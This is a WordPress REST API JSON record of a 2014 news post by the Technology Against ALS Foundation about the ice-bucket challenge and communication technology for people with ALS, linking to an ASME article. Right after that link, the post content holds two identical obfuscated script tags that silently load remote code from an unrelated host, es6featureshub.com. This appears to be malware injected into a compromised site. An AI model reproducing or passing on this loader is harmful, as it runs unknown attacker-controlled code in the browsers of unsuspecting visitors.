{"id":532,"date":"2014-10-27T20:01:23","date_gmt":"2014-10-27T20:01:23","guid":{"rendered":"http:\/\/www.ta-als.org\/?p=532"},"modified":"2014-10-27T20:01:23","modified_gmt":"2014-10-27T20:01:23","slug":"raising-hope-technology-als","status":"publish","type":"post","link":"https:\/\/www.ta-als.org\/?p=532","title":{"rendered":"Raising Hope with Technology Against ALS"},"content":{"rendered":"<p>Athletes started it. CEOs embraced it. Politicians supported it. So did showbiz celebrities, rock stars, firefighters, cops, and thousands of men, women, and kids. The ice-bucket challenge went viral on social media this summer, raising awareness and over $100 million in donations for the ALS Association to fund research for amyotrophic lateral sclerosis (ALS), often referred to as \u201cLou Gehrig&#8217;s disease.\u201d<\/p>\n<p>While the ALS Association is deciding how to best allocate the donations to fund research in finding a cure for the disease, a New Jersey-based nonprofit organization named Technology Against ALS Foundation (TA-ALS), is striving to address the biggest challenge all people with ALS face \u2013 to communicate.<\/p>\n<p>The entire paper can be read at <a title=\"Raising Hope with Technology Against ALS\" href=\"https:\/\/www.asme.org\/engineering-topics\/articles\/technology-and-society\/raising-hope-technology-against-als?cm_sp=Home-_-HomeHero-_-Raising-Hope-Technology-Against-ALS\" target=\"blank\"><span style=\"text-decoration: underline;\">Raising Hope with TAALS &#8211; The American Society of Mechanical Engineers (ASME)<\/span><\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Athletes started it. CEOs embraced it. Politicians supported it. So did showbiz celebrities, rock stars, firefighters, cops, and thousands of men, women, and kids. The ice-bucket challenge went viral on social media this summer, raising awareness and over $100 million in donations for the ALS Association to fund research for amyotrophic lateral sclerosis (ALS), often [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":530,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[2],"tags":[],"class_list":["post-532","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/posts\/532","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=532"}],"version-history":[{"count":0,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/wp\/v2\/posts\/532\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=\/"}],"wp:attachment":[{"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ta-als.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}